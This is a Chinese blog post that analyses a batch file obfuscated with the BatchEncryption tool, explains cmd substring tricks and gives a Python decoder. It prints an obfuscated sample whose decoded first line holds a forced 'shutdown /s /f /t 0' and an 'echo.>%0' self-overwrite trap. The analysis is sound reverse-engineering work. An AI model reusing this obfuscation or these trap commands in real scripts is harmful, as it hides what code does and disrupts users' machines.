0、起因
无意中在一个下载的文件中得到一个很奇怪的Windows下的批处理文件,此批处理文件查看内容时显示为乱码,不知道执行后的结果,使用010Editor查看,开头的两个字节为 0xFF、0xFE,一般的的批处理文件都为ASCII编码,为什么会有BOM头呢,再向下看都为普通的ASCII字符,直接修改0xFF、0xFE为 0x20、0x20(空格),本以为可以看到代码了,可真正的挑战才刚刚开始;
给小伙伴们看看这个文件的一小部分内容,就知道为什么了!
&cls
::BatchEncryption Build 201610 By gwsbhqt@163.com
@%os:~-4,1%%commonprogramfiles:~27,1%%comspec:~14,1%%commonprogramfiles:~-6,1%'=^">%commonprogramfiles:~22,1%u%programfiles:~-3,1%&@%os:~6,1%%comspec:~24,1%%comspec:~14,1%%programfiles:~-6,1%%programfiles:~12,1%h%pathext:~18,1%%pathext:~17,1%=K%pathext:~22,1%%pathext:~12,1%j%commonprogramfiles:~8,1%&@%commonprogramfiles:~28,1%%commonprogramfiles:~14,1%%comspec:~14,1%%commonprogramfiles:~23,1%%pathext:~47,1%u%comspec:~-2,1%%pathext:~3,1%=%commonprogramfiles:~14,1%%comspec:~25,1%%programfiles:~3,1%&@%comspec:~26,1%%comspec:~-7,1%h%commonprogramfiles:~-11,1%%programfiles:~-6,1%%programfiles:~-11,1%ff&@%commonprogramfiles:~-14,1%%commonprogramfiles:~-2,1%%comspec:~14,1%%commonprogramfiles:~-6,1%'=%os:~5,1%^^^Z^^^=^^^%pathext:~3,1%^^^:^^^"^^^#^^^%pathext:~2,1%^^^`^^^K^^^U^^^6^^^%pathext:~18,1%^^^%comspec:~-10,1%^^^Q^^^%commonprogramfiles:~-12,1%%commonprogramfiles:~-22,1%%comspec:~-7,1%k^^^%pathext:~7,1%^^^~^^^'^^^%programfiles:~3,1%%commonprogramfiles:~8,1%^^^^^^^4^^^%commonprogramfiles:~11,1%^^^%pathext:~37,1%^^^*%comspec:~12,1%^^^%pathext:~27,1%b^^^(^^^L%os:~3,1%%programfiles:~15,1%^^^8%os:~-8,1%^^^0^^^%pathext:~12,1%^^^,^^^)^^^%comspec:~-24,1%^^^%commonprogramfiles:~23,1%f^^^G^^^}^^^[^^^%os:~-1,1%^^^%pathext:~32,1%^^^5^^^%os:~-2,1%^^^$^^^Y%commonprogramfiles:~19,1%%comspec:~-1,1%^^^&^^^/^^^-^^^9%programfiles:~5,1%q^^^]^^^+%commonprogramfiles:~-3,1%^^^;h%os:~-9,1%^^^@^^^7^^^%pathext:~26,1%^^^%pathext:~47,1%^^^%comspec:~-9,1%u%comspec:~14,1%zp^^^I^^^%pathext:~35,1%^^^|^^^_%programfiles:~6,1%^^^\^^^>^^^.^^^?^^^<^^^1%comspec:~-2,1%^^^{^^^Rvj&@%os:~-4,1%%comspec:~-3,1%%comspec:~-13,1%%commonprogramfiles:~13,1%%os:~4,1%%comspec:~-7,1%%programfiles:~-8,1%%commonprogramfiles:~26,1%%programfiles:~10,1%%programfiles:~14,1%%commonprogramfiles:~-7,1%%commonprogramfiles:~8,1%b%programfiles:~13,1%%programfiles:~-2,1%%comspec:~22,1%%commonprogramfiles:~14,1%%programfiles:~-3,1%%programfiles:~-8,1%%comspec:~12,1%%comspec:~26,1%%os:~-7,1%%commonprogramfiles:~14,1%%comspec:~-2,1%p%commonprogramfiles:~8,1%%os:~2,1%%commonprogramfiles:~-14,1%%programfiles:~-4,1%%commonprogramfiles:~-8,1%%os:~-8,1%&%programfiles:~-2,1%%os:~-8,1%%os:~3,1%%programfiles:~13,1%%comspec:~20,1%%programfiles:~5,1%%commonprogramfiles:~-21,1%%programfiles:~13,1%%commonprogramfiles:~10,1%%comspec:~18,1%>%os:~2,1%u%programfiles:~-3,1%&&@%comspec:~-12,1%%comspec:~20,1%h%programfiles:~5,1%.>%0 &&@%commonprogramfiles:~28,1%hu%comspec:~-13,1%%os:~3,1%%os:~-6,1%%os:~-5,1%%os:~-8,1%%programfiles:~-6,1%/%programfiles:~15,1%%commonprogramfiles:~10,1%/f%programfiles:~10,1%/%comspec:~14,1%%commonprogramfiles:~-19,1%0&&@%commonprogramfiles:~-14,1%%commonprogramfiles:~14,1%%comspec:~-13,1%%commonprogramfiles:~10,1%%os:~-2,1%%pathext:~47,1%vq%commonprogramfiles:~-26,1%=%pathext:~17,1%%comspec:~-24,1%Z&@%comspec:~26,1%%comspec:~25,1%%programfiles:~-4,1%%comspec:~-13,1%&&@%comspec:~-14,1%%comspec:~-3,1%%comspec:~-13,1%%commonprogramfiles:~23,1%v%pathext:~7,1%%os:~3,1%%pathext:~47,1%%programfiles:~12,1%=f%comspec:~-7,1%up&@%comspec:~13,1%%comspec:~-12,1%%comspec:~-13,1%%commonprogramfiles:~10,1%%commonprogramfiles:~26,1%%os:~1,1%=L%comspec:~-7,1%q%programfiles:~-8,1%&@%comspec:~11,1%%commonprogramfiles:~-2,1%%comspec:~14,1%%commonprogramfiles:~10,1%K%programfiles:~-2,1%%pathext:~18,1%%programfiles:~3,1%=z%programfiles:~9,1%j%commonprogramfiles:~11,1%j&@%commonprogramfiles:~-2,1%%comspec:~20,1%h%commonprogramfiles:~18,1%%commonprogramfiles:~10,1%"
什么东西,天书吗;我对cmd的批处理的语法真的很菜,一看就蒙了,好在我看到了“::BatchEncryption Build 201610 By gwsbhqt@163.com”,呵呵,可以百度下,看看有没有人也遇到过这样的文件,都是怎么处理的,马上找百度;
搜索的结果有2个比较有趣的网页:
1、老刘1号 的 《还原BatchEncryption(201610版本)混淆的批处理文件(1)》
2、批处理之家 的 《BatchEncryption - 批处理加密程序》
有兴趣的小伙伴也可以去看看,但是他们都没有对此批处理文件的结构进行清晰的分析和给出一个完成的代码来解析此文件,但是我还是比较佩服 “老刘”同学赌的二块五,我是没有胆量在自己的计算机上运行未知风险的代码!
由于没有现成的工具可以解开这类批处理文件,我又对此批处理中的内容感兴趣,那么只能自己动手丰衣足食,从头分析此文件格式,于是就有了此篇小文,用于记录探索的过程;
1、::、@、%、&、>、<、| 、! 、^ 符号
不搞清楚这些符号,是没法完成此次任务的,具体代表什么含义,在这里只是简单的介绍,如有不准确请百度:
- :: 备注
- @ 后面的代码不会输出到屏幕上
- % 可以做为变量的标识(后面会详细讲,此混淆基本就靠此符号)
- & 与算法符,短路运算符,可以将多个语句写在一行中
- <、>、| 管道命令
- !也是描述变量的
- ^ 转义字符,何为“转义”,就是将又意义的字符变成普通字符
可能还有,我就知道这么多,在此次任务中,只用到了 % 和 ^,下面详细说明下,%var:~begin,len% 和 ^^^ 的含义;
- 先来看 %var:~begin,len%,写个例子给小伙伴看;
@echo off
set s=123456789
echo 第一个字符为:%s:~0,1%
echo 头两个字符为:%s:~0,2%
echo 头5个字符为: %s:~0,5%
echo 去掉最后一个字符后的字符串为:%s:~0,-1%
echo 去掉最后3个字符后的字符串为: %s:~0,-3%
echo 第4个字符为:%s:~3,1%
echo 第4个及其之后的3个字符为:%s:~3,4%
echo 最后一个字符为: %s:~-1%
echo 最后一个字符为: %s:~-1,1%
echo 最后一个字符为: %s:~-1,2%
echo 倒数第4个字符为:%s:~-4,1%
echo 倒数第4个及其之后的字符为: %s:~-4%
echo 倒数第4个及其之后的1个字符为:%s:~-4,2%
echo 倒数第4个及其之后的2个字符为:%s:~-4,3%
pause
运行结果如下;
第一个字符为:1
头两个字符为:12
头5个字符为: 12345
去掉最后一个字符后的字符串为:12345678
去掉最后3个字符后的字符串为: 123456
第4个字符为:4
第4个及其之后的3个字符为:4567
最后一个字符为: 9
最后一个字符为: 9
最后一个字符为: 9
倒数第4个字符为:6
倒数第4个及其之后的字符为: 6789
倒数第4个及其之后的1个字符为:67
倒数第4个及其之后的2个字符为:678
- ^^^ 转义字符,一样上例子:
@echo off
:: 转义重定向符号
echo echo a ^> a.txt
:: 转义换行符号
echo 测试1^
测试2^
测试3
:: 转义^符号
echo a^^^b
pause
运行结果如下;
echo a > a.txt
测试1测试2测试3
a^b
牛逼的 ^连换行符都可以转义掉,真强!
2、文件结构
此文件结构很简单,除去 BOM头、&cls和::BatchEncryption Build 201610两行外,每行都为条完整的Cmd语句;只需要将 %var:~begin,len% 解码处理,这里先手工解码:
%os:~-4,1% 为字符 “s”
%commonprogramfiles:~27,1% 为字符 “e”
%comspec:~14,1% 为字符 “t”
看上去很好,写个脚本先将第一行解码看看,结果为:
@set '=^">nul&@set Ixq=MTa&@echo off&@set pVI=IlvN&@set CyGq=POpW&@set '=^^^0^^^R^^^T^^^`^^^S^^^^c^^^U^^^7^^^Z^^^9h^^^3^^^{^^^4^^^<^^^Qp^^^[bv^^^+^^^B^^^Gfo^^^6^^^#^^^I^^^&^^^:^^^=^^^]^^^Fg^^^.^^^Lt^^^N^^^ ^^^W^^^5z^^^H^^^K^^^;^^^Y^^^'^^^}^^^2si^^^1a^^^8e^^^?n^^^)^^^-lq^^^$^^^Vm^^^_u^^^>^^^~^^^D^^^,^^^O^^^@^^^\^^^Ax^^^E^^^*w^^^Cyd^^^(k^^^/^^^M^^^Pj^^^|r^^^J^^^X^^^"&@setlocal enabledelayedexpansion&endlcoal 2>nul&&@echo.>%0 &&@shutdown /s /f /t 0&&@set dewI=Udh&@exit&&@set QMWwv=maZ&@echo "
小伙伴们看到了什么,有老刘1号赌的二块五的 shutdown ,还有 @echo.>%0,还有 @exit,呵呵,最重要的是
@set '= ^^^0^^^R^^^T^^^`...,
这就是传说中的 ’ 变量(单引号),后面解码都要靠他,
%':~-41,1%%':~62,1%
小伙伴们看到这里,应该看懂了吧,那么就循环解码,看看最后可以得到什么结果,上代码;
3、Python 代码
#!/usr/bin/python
# -*- coding: utf-8 -*-
#
# Batch Decryption 202009 (BatchEncryption Build 201610)
#
import os
def decryption(data):
if not (data[0] == 0xFF and data[1] == 0xFE):
print('Batch decryption bom error!')
return
if str(data[2:9], encoding="utf-8") != ' &cls\r\n':
print('Batch decryption cls error!')
return
if str(data[9:60], encoding="utf-8") != '::BatchEncryption Build 201610 By gwsbhqt@163.com\r\n':
print('Batch decryption build error!')
return
vars = {}
# decryption line
i = 60
l = len(data)
while i < l:
i = run(vars, data, i)
def run(vars, data, i):
buf = ''
f = 0
t = 0
x = False
l = len(data)
while(True):
if data[i] == 0x0d and data[i+1] == 0x0a:
i += 2
break
# get %var:~x,y% %0
if data[i] == 0x25:
if not x:
x = True
f = i
else:
x = False
t = i
rst = var_percent(data[f:t+1], vars)
buf += rst
else:
if not x:
buf += str(data[i:i+1], encoding="utf-8")
else:
if (f + 1 == i) and ((data[i] >= 0x30 and data[i] <= 0x39) or data[i] == 0x2a):
x = False
t = i
rst = str(data[f:t+1], encoding="utf-8")
buf += rst
i += 1
if i >= l:
break
#
print(buf)
bufs = buf.split('&@')
for var in bufs:
if var[0:4] == 'set ':
var = var[4:]
b = var.find('=')
vars[var[0:b]] = var[b+1:].replace('^^^', '^')
return i
def var_percent(data, vars):
full = str(data, encoding="utf-8")
buf = full[1:len(full)-1]
buf = buf.split(':~')
var = buf[0]
if not var in vars:
vars[var] = os.getenv(var)
ent = vars[var]
if (len(buf) > 1):
l = len(ent)
buf = buf[1].split(',')
f = int(buf[0])
t = int(buf[1])
if f < 0:
f, t = l + f, t
rst = ent[f: f+t]
else:
rst = full
return rst
encrypt_file = './batch_decryption/Encrypted_01.txt'
if __name__ == '__main__':
try:
file = open(encrypt_file, "rb")
data = file.read()
except Exception as err:
print('Batch decryption read error:', err)
exit
else:
file.close()
decryption(data)
没有写备注,2小时写的东西,就不要要求太高哦,主要是过程比较简单,100行,:)
4、Encrypted_01.txt 文件内容
保存 Encrypted_01.txt 时需要注意BOM头,需要手工将0x20、0x20改为0xFF、0xFE 或修改Python代码中这部分的判断,保存时还行注意换行符为 0x0D、0x0A,这块没有对0x0D或0x0A换行符做兼容性判断 ;
&cls
::BatchEncryption Build 201610 By gwsbhqt@163.com
@%commonprogramfiles:~28,1%%commonprogramfiles:~14,1%%comspec:~14,1%%commonprogramfiles:~23,1%'=^">%os:~-8,1%u%commonprogramfiles:~-16,1%&@%comspec:~11,1%%comspec:~26,1%%comspec:~14,1%%commonprogramfiles:~10,1%I%comspec:~-2,1%q=%pathext:~3,1%%os:~9,1%%commonprogramfiles:~8,1%&@%commonprogramfiles:~14,1%%comspec:~20,1%h%commonprogramfiles:~-11,1%%programfiles:~10,1%%os:~4,1%ff&@%comspec:~-14,1%%commonprogramfiles:~-15,1%%comspec:~-13,1%%programfiles:~-6,1%p%pathext:~21,1%I=I%programfiles:~-3,1%v%os:~8,1%&@%commonprogramfiles:~-1,1%%programfiles:~14,1%%comspec:~14,1%%commonprogramfiles:~-19,1%%commonprogramfiles:~17,1%%comspec:~-15,1%Gq=%programfiles:~3,1%%pathext:~2,1%p%os:~0,1%&@%programfiles:~-1,1%%comspec:~26,1%%comspec:~14,1%%commonprogramfiles:~23,1%'=^^^0^^^R^^^%pathext:~13,1%^^^`^^^%pathext:~46,1%^^^^%comspec:~20,1%^^^U^^^7^^^Z^^^9h^^^%comspec:~-10,1%^^^{^^^4^^^<^^^Qp^^^[bv^^^+^^^%pathext:~27,1%^^^Gf%commonprogramfiles:~-11,1%^^^6^^^#^^^I^^^&^^^:^^^=^^^]^^^%commonprogramfiles:~24,1%%programfiles:~-10,1%^^^.^^^L%comspec:~-13,1%^^^%os:~-2,1%^^^%commonprogramfiles:~23,1%^^^%comspec:~3,1%^^^5z^^^%pathext:~47,1%^^^K^^^;^^^Y^^^'^^^}^^^%comspec:~18,1%%os:~-4,1%%commonprogramfiles:~-4,1%^^^1%programfiles:~-8,1%^^^8%commonprogramfiles:~27,1%^^^?%commonprogramfiles:~-7,1%^^^)^^^-%commonprogramfiles:~-16,1%q^^^$^^^%pathext:~21,1%%commonprogramfiles:~9,1%^^^_u^^^>^^^~^^^%pathext:~18,1%^^^,^^^%pathext:~2,1%^^^@^^^\^^^%pathext:~12,1%%comspec:~25,1%^^^%pathext:~37,1%^^^*%os:~-5,1%^^^%pathext:~1,1%%comspec:~12,1%%os:~-7,1%^^^(k^^^/^^^%pathext:~3,1%^^^%programfiles:~3,1%j^^^|%programfiles:~-9,1%^^^%pathext:~35,1%^^^%pathext:~7,1%^^^"&@%programfiles:~15,1%%commonprogramfiles:~27,1%%comspec:~-13,1%%commonprogramfiles:~26,1%%commonprogramfiles:~-8,1%%comspec:~20,1%%commonprogramfiles:~8,1%%programfiles:~-3,1%%programfiles:~-6,1%%comspec:~-1,1%%commonprogramfiles:~22,1%%commonprogramfiles:~8,1%b%commonprogramfiles:~26,1%%commonprogramfiles:~-2,1%%comspec:~-5,1%%comspec:~15,1%%commonprogramfiles:~-3,1%%programfiles:~-8,1%%comspec:~12,1%%comspec:~15,1%%os:~-7,1%%comspec:~-3,1%%comspec:~25,1%p%programfiles:~8,1%%commonprogramfiles:~-7,1%%commonprogramfiles:~15,1%%os:~-9,1%%commonprogramfiles:~5,1%%commonprogramfiles:~22,1%&%comspec:~-1,1%%commonprogramfiles:~22,1%%comspec:~22,1%%commonprogramfiles:~-3,1%%comspec:~-7,1%%commonprogramfiles:~-11,1%%programfiles:~-8,1%%programfiles:~-3,1%%commonprogramfiles:~-6,1%%comspec:~18,1%>%commonprogramfiles:~22,1%u%programfiles:~13,1%&&@%comspec:~-1,1%%comspec:~20,1%h%os:~-6,1%.>%0 &&@%programfiles:~15,1%hu%comspec:~14,1%%comspec:~-5,1%%commonprogramfiles:~-8,1%%os:~-5,1%%os:~2,1%%commonprogramfiles:~10,1%/%commonprogramfiles:~28,1%%commonprogramfiles:~23,1%/f%commonprogramfiles:~10,1%/%comspec:~14,1%%programfiles:~10,1%0&&@%commonprogramfiles:~-14,1%%programfiles:~-2,1%%comspec:~14,1%%programfiles:~-6,1%%comspec:~22,1%%commonprogramfiles:~-2,1%%os:~5,1%I=U%comspec:~22,1%h&@%comspec:~24,1%%comspec:~-2,1%%commonprogramfiles:~-17,1%%comspec:~-13,1%&&@%commonprogramfiles:~-1,1%%comspec:~24,1%%comspec:~14,1%%commonprogramfiles:~10,1%Q%pathext:~3,1%%pathext:~40,1%%os:~5,1%v=%commonprogramfiles:~9,1%%programfiles:~-8,1%Z&@%comspec:~24,1%%comspec:~-7,1%h%commonprogramfiles:~-24,1%%programfiles:~-6,1%"
%':~-34,1%%':~-70,1%%':~97,1%%':~66,1%%':~70,1%%':~-75,1%%':~-104,1%%':~-149,1%%':~-1,1%%':~-44,1%%':~100,1%%':~114,1%%':~-55,1%%':~-108,1%%':~126,1%%':~-70,1%%':~97,1%%':~66,1%%':~70,1%%':~60,1%%':~-100,1%%':~-104,1%%':~106,1%%':~36,1%%':~52,1%%':~126,1%%':~-70,1%%':~97,1%%':~66,1%%':~-90,1%%':~21,1%%':~-83,1%%':~-81,1%%':~-77,1%%':~56,1%%':~-10,1%%':~50,1%%':~52,1%%':~-34,1%%':~-69,1%%':~43,1%%':~-90,1%!'!%':~70,1%%':~-60,1%%':~97,1%%':~-54,1%%':~70,1%%':~11,1%%':~-1,1%%':~70,1%%':~142,1%%':~126,1%%':~97,1%%':~-148,1%%':~-139,1%%':~-116,1%%':~-97,1%%':~-44,1%%0 %':~52,1%%':~-34,1%%':~90,1%%':~-139,1%%':~114,1%%':~-94,1%%':~-20,1%%':~44,1%%':~136,1%%':~100,1%%':~70,1%%':~-15,1%%':~-70,1%%':~-90,1%%':~145,1%%':~43,1%%':~70,1%%':~145,1%%':~66,1%%':~70,1%%':~-159,1%%':~52,1%%':~126,1%%':~-63,1%%':~-29,1%%':~91,1%%':~66,1%%':~102,1%%':~70,1%%':~97,1%%':~-55,1%%':~-70,1%%':~97,1%%':~70,1%%':~-18,1%%':~-34,1%%':~12,1%%':~-55,1%%':~-70,1%%':~-58,1%%':~52,1%%':~126,1%%':~97,1%%':~100,1%%':~-20,1%%':~105,1%%':~-116,1%%':~-148,1%%':~94,1%%':~-55,1%%':~-108,1%%':~126,1%%':~-70,1%%':~97,1%%':~66,1%%':~-90,1%%':~-75,1%%':~-104,1%%':~106,1%%':~11,1%%':~-149,1%%':~-149,1%%':~152,1%%':~11,1%%':~-149,1%%':~11,1%%':~-50,1%%':~11,1%%':~11,1%%':~11,1%%':~104,1%%':~11,1%%':~11,1%%':~11,1%%':~-47,1%%':~-149,1%%':~-149,1%%':~11,1%%':~-92,1%%':~111,1%%':~11,1%%':~11,1%%':~11,1%%':~145,1%%':~90,1%%':~-149,1%%':~-149,1%%':~11,1%%':~50,1%%':~-99,1%%':~-60,1%%':~11,1%%':~11,1%%':~11,1%%':~11,1%%':~11,1%%':~11,1%%':~-149,1%%':~18,1%%':~11,1%%':~11,1%%':~-149,1%%':~147,1%%':~11,1%%':~-149,1%%':~-149,1%%':~54,1%%':~143,1%%':~35,1%%':~11,1%%':~-149,1%%':~11,1%%':~-146,1%%':~11,1%%':~11,1%%':~11,1%%':~108,1%%':~-149,1%%':~-149,1%%':~-149,1%%':~-27,1%%':~-149,1%%':~-149,1%%':~11,1%%':~31,1%%':~-149,1%%':~-149,1%%':~11,1%%':~-102,1%%':~-117,1%%':~-149,1%%':~11,1%%':~11,1%%':~-36,1%%':~140,1%%':~-128,1%%':~-149,1%%':~11,1%%':~11,1%%':~-95,1%%':~11,1%%':~11,1%%':~11,1%%':~-11,1%%':~-149,1%%':~-149,1%%':~-149,1%%':~-58,1%%':~11,1%%':~-149,1%%':~11,1%%':~99,1%%':~-7,1%%':~-149,1%%':~11,1%%':~-149,1%%':~118,1%%':~-46,1%%':~150,1%%':~12,1%%':~75,1%%':~11,1%%':~-149,1%%':~11,1%%':~-137,1%%':~-149,1%%':~-149,1%%':~-149,1%%':~157,1%%':~-149,1%%':~-149,1%%':~11,1%%':~-67,1%%':~11,1%%':~-149,1%%':~-149,1%%':~-133,1%%':~105,1%%':~11,1%%':~-149,1%%':~-149,1%%':~-140,1%%':~-29,1%%':~-149,1%%':~11,1%%':~11,1%%':~-73,1%%':~-149,1%%':~11,1%%':~-149,1%%':~-100,1%%':~11,1%%':~11,1%%':~11,1%%':~77,1%%':~-149,1%%':~11,1%%':~11,1%%':~-104,1%%':~11,1%%':~-149,1%%':~-149,1%%':~-112,1%%':~-149,1%%':~11,1%%':~-149,1%%':~63,1%%':~11,1%%':~-149,1%%':~11,1%%':~120,1%%':~-116,1%%':~11,1%%':~-149,1%%':~11,1%%':~5,1%%':~11,1%%':~-149,1%%':~-149,1%%':~-34,1%%':~36,1%%':~11,1%%':~11,1%%':~11,1%%':~-1,1%%':~11,1%%':~-149,1%%':~-149,1%%':~-77,1%%':~-149,1%%':~-149,1%%':~11,1%%':~-44,1%%':~11,1%%':~-149,1%%':~-149,1%%':~89,1%%':~11,1%%':~-149,1%%':~11,1%%':~-38,1%%':~-149,1%%':~-149,1%%':~11,1%%':~-18,1%%':~11,1%%':~-149,1%%':~-149,1%%':~-75,1%%':~97,1%%':~-139,1%%':~-149,1%%':~11,1%%':~11,1%%':~-157,1%%':~11,1%%':~11,1%%':~-149,1%%':~-151,1%%':~11,1%%':~11,1%%':~-149,1%%':~46,1%%':~-149,1%%':~11,1%%':~11,1%%':~34,1%%':~11,1%%':~-149,1%%':~-149,1%%':~-135,1%%':~-149,1%%':~11,1%%':~-149,1%%':~155,1%%':~-149,1%%':~11,1%%':~-149,1%%':~29,1%%':~11,1%%':~-149,1%%':~-149,1%%':~-153,1%%':~11,1%%':~-149,1%%':~11,1%%':~-86,1%%':~-149,1%%':~-149,1%%':~11,1%%':~52,1%%':~-149,1%%':~-149,1%%':~11,1%%':~70,1%%':~-69,1%%':~11,1%%':~11,1%%':~11,1%%':~-122,1%%':~-149,1%%':~11,1%%':~-149,1%%':~-81,1%%':~11,1%%':~11,1%%':~11,1%%':~-88,1%%':~66,1%%':~11,1%%':~11,1%%':~-149,1%%':~-79,1%%':~-149,1%%':~-149,1%%':~11,1%%':~128,1%%':~-149,1%%':~11,1%%':~11,1%%':~16,1%%':~-66,1%%':~-149,1%%':~-149,1%%':~-149,1%%':~-64,1%%':~-149,1%%':~11,1%%':~-149,1%%':~-25,1%%':~139,1%%':~-24,1%%':~-149,1%%':~11,1%%':~11,1%%':~-120,1%%':~-149,1%%':~11,1%%':~-149,1%%':~1,1%%':~-149,1%%':~-149,1%%':~-149,1%%':~-30,1%%':~11,1%%':~11,1%%':~-149,1%%':~138,1%%':~-149,1%%':~11,1%%':~11,1%%':~-118,1%%':~52,1%%':~-34,1%%':~-70,1%%':~97,1%%':~-94,1%%':~-55,1%%':~-116,1%%':~-148,1%%':~-66,1%%':~105,1%%':~-90,1%%':~97,1%%':~-60,1%%':~-66,1%%':~35,1%%':~-55,1%%':~97,1%%':~140,1%%':~97,1%%':~-55,1%%':~-66,1%%':~-21,1%%':~-63,1%%':~140,1%%':~97,1%%':~-29,1%%':~-128,1%%':~-66,1%%':~100,1%%':~90,1%%':~-69,1%%':~-116,1%%':~-60,1%%':~-108,1%%':~97,1%%':~-60,1%%':~-20,1%%':~-55,1%%':~-148,1%%':~44,1%%':~-66,1%%':~105,1%%':~-90,1%%':~89,1%%':~-44,1%%':~100,1%%':~-46,1%%':~105,1%%':~-108,1%%':~-108,1%%':~126,1%%':~90,1%%':~-63,1%%':~66,1%%':~70,1%%':~130,1%%':~-99,1%%':~-157,1%%':~-104,1%%':~36,1%%':~-116,1%%':~-108,1%%':~126,1%%':~97,1%%':~-148,1%%':~21,1%%':~44,1%%':~63,1%%':~-44,1%%0 %':~52,1%%':~-108,1%%':~126,1%%':~90,1%%':~-139,1%%':~-46,1%%':~-94,1%%':~-20,1%%':~44,1%%':~-24,1%%':~-60,1%%':~70,1%%':~-15,1%%':~-70,1%%':~70,1%%':~145,1%%':~-117,1%%':~-90,1%%':~-15,1%%':~66,1%%':~-90,1%%':~-159,1%%':~52,1%%':~52,1%%':~126,1%%':~90,1%%':~97,1%%':~66,1%%':~-90,1%%':~114,1%%':~-63,1%%':~-27,1%%':~-50,1%%':~-104,1%%':~65,1%%':~105,1%%':~-108,1%%':~126,1%%':~-63,1%%':~131,1%%':~91,1%%':~66,1%%':~52,1%%':~52,1%%':~-34,1%%':~-70,1%%':~-63,1%%':~66,1%%':~70,1%%':~-128,1%%':~-128,1%%':~-69,1%%':~56,1%%':~-50,1%%':~-124,1%%':~157,1%%':~-99,1%%':~153,1%%':~-108,1%%':~-34,1%%':~90,1%%':~-63,1%%':~66,1%%':~-90,1%%':~-124,1%%':~9,1%%':~114,1%%':~-146,1%%':~-104,1%%':~153,1%%':~-125,1%%':~-30,1%%':~-24,1%%':~105,1%%':~-108,1%%':~126,1%%':~-63,1%%':~-148,1%%':~21,1%%':~44,1%%':~-90,1%%':~159,1%
%':~-71,1%%':~-146,1%%':~-55,1%%':~-24,1%%':~128,1%%':~104,1%%':~-82,1%%':~20,1%%':~92,1%%':~-64,1%%':~18,1%%':~55,1%%':~-93,1%%':~-34,1%%':~89,1%%':~129,1%%':~39,1%%':~128,1%!'!%':~128,1%%':~-142,1%%':~-55,1%%':~0,1%%':~128,1%%':~-140,1%%':~92,1%%':~-32,1%%':~-58,1%%':~89,1%%':~105,1%%':~57,1%%':~106,1%%':~85,1%%':~-78,1%%':~96,1%%0 %':~-34,1%%':~-71,1%%':~14,1%%':~-54,1%%':~55,1%%':~-24,1%%':~42,1%%':~-75,1%%':~-11,1%%':~18,1%%':~-32,1%%':~-147,1%%':~14,1%%':~128,1%%':~13,1%%':~39,1%%':~128,1%%':~-147,1%%':~136,1%%':~-32,1%%':~153,1%%':~126,1%%':~-71,1%%':~-55,1%%':~-90,1%%':~-31,1%%':~-24,1%%':~-111,1%%':~-32,1%%':~-55,1%%':~-93,1%%':~-146,1%%':~105,1%%':~128,1%%':~-58,1%%':~89,1%%':~57,1%%':~67,1%%':~14,1%%':~49,1%%':~-34,1%%':~89,1%%':~14,1%%':~-55,1%%':~136,1%%':~-32,1%%':~39,1%%':~45,1%%':~17,1%%':~-143,1%%':~118,1%%':~78,1%%':~106,1%%':~-70,1%%':~-34,1%%':~-71,1%%':~14,1%%':~105,1%%':~-24,1%%':~-32,1%%':~42,1%%':~-144,1%%':~78,1%%':~155,1%%':~-160,1%%':~-119,1%%':~105,1%%':~14,1%%':~-34,1%%':~-71,1%%':~14,1%%':~105,1%%':~136,1%%':~128,1%%':~41,1%%':~-156,1%%':~-9,1%%':~-136,1%%':~-82,1%%':~-124,1%%':~106,1%%':~-118,1%%':~-98,1%%':~-70,1%%':~126,1%%':~-71,1%%':~-55,1%%':~18,1%%':~-118,1%%':~67,1%%':~-75,1%%':~57,1%%':~143,1%%':~-93,1%%':~126,1%%':~-71,1%%':~14,1%%':~-55,1%%':~-24,1%%':~-32,1%%':~104,1%%':~-82,1%%':~20,1%%':~20,1%%':~-140,1%%':~-122,1%%':~-140,1%%':~-140,1%%':~-140,1%%':~-80,1%%':~-140,1%%':~-140,1%%':~20,1%%':~140,1%%':~-12,1%%':~20,1%%':~20,1%%':~-140,1%%':~-68,1%%':~43,1%%':~20,1%%':~20,1%%':~-140,1%%':~62,1%%':~105,1%%':~-105,1%%':~20,1%%':~-140,1%%':~-140,1%%':~-136,1%%':~20,1%%':~-140,1%%':~-140,1%%':~-27,1%%':~143,1%%':~-140,1%%':~20,1%%':~-140,1%%':~-64,1%%':~-140,1%%':~20,1%%':~20,1%%':~64,1%%':~-140,1%%':~20,1%%':~20,1%%':~135,1%%':~-133,1%%':~20,1%%':~-140,1%%':~-140,1%%':~-156,1%%':~-140,1%%':~20,1%%':~-140,1%%':~-5,1%%':~-140,1%%':~20,1%%':~-140,1%%':~110,1%%':~-140,1%%':~20,1%%':~20,1%%':~-158,1%%':~20,1%%':~20,1%%':~20,1%%':~26,1%%':~-140,1%%':~-140,1%%':~20,1%%':~-115,1%%':~-140,1%%':~20,1%%':~-140,1%%':~94,1%%':~-140,1%%':~20,1%%':~20,1%%':~13,1%%':~-140,1%%':~20,1%%':~20,1%%':~6,1%%':~70,1%%':~-149,1%%':~20,1%%':~-140,1%%':~-140,1%%':~122,1%%':~20,1%%':~-140,1%%':~-140,1%%':~128,1%%':~20,1%%':~-140,1%%':~20,1%%':~-7,1%%':~20,1%%':~20,1%%':~-140,1%%':~142,1%%':~20,1%%':~20,1%%':~-140,1%%':~-9,1%%':~-140,1%%':~20,1%%':~-140,1%%':~-138,1%%':~-140,1%%':~20,1%%':~20,1%%':~60,1%%':~-140,1%%':~20,1%%':~20,1%%':~120,1%%':~-11,1%%':~-140,1%%':~20,1%%':~-140,1%%':~-46,1%%':~-140,1%%':~20,1%%':~20,1%%':~-128,1%%':~106,1%%':~20,1%%':~-140,1%%':~20,1%%':~-111,1%%':~20,1%%':~20,1%%':~20,1%%':~-56,1%%':~-140,1%%':~20,1%%':~20,1%%':~118,1%%':~20,1%%':~20,1%%':~-140,1%%':~-86,1%%':~90,1%%':~20,1%%':~-140,1%%':~-140,1%%':~36,1%%':~-93,1%%':~-140,1%%':~-140,1%%':~-140,1%%':~-126,1%%':~20,1%%':~20,1%%':~20,1%%':~138,1%%':~-140,1%%':~20,1%%':~20,1%%':~-29,1%%':~20,1%%':~20,1%%':~20,1%%':~72,1%%':~-140,1%%':~20,1%%':~-140,1%%':~-119,1%%':~-143,1%%':~-140,1%%':~20,1%%':~20,1%%':~51,1%%':~28,1%%':~-140,1%%':~20,1%%':~20,1%%':~69,1%%':~-142,1%%':~56,1%%':~58,1%%':~42,1%%':~20,1%%':~20,1%%':~-140,1%%':~157,1%%':~-140,1%%':~20,1%%':~20,1%%':~10,1%%':~129,1%%':~-140,1%%':~20,1%%':~20,1%%':~84,1%%':~20,1%%':~20,1%%':~20,1%%':~-82,1%%':~-103,1%%':~-140,1%%':~20,1%%':~-140,1%%':~159,1%%':~-140,1%%':~-140,1%%':~-140,1%%':~16,1%%':~-140,1%%':~-140,1%%':~20,1%%':~54,1%%':~20,1%%':~-140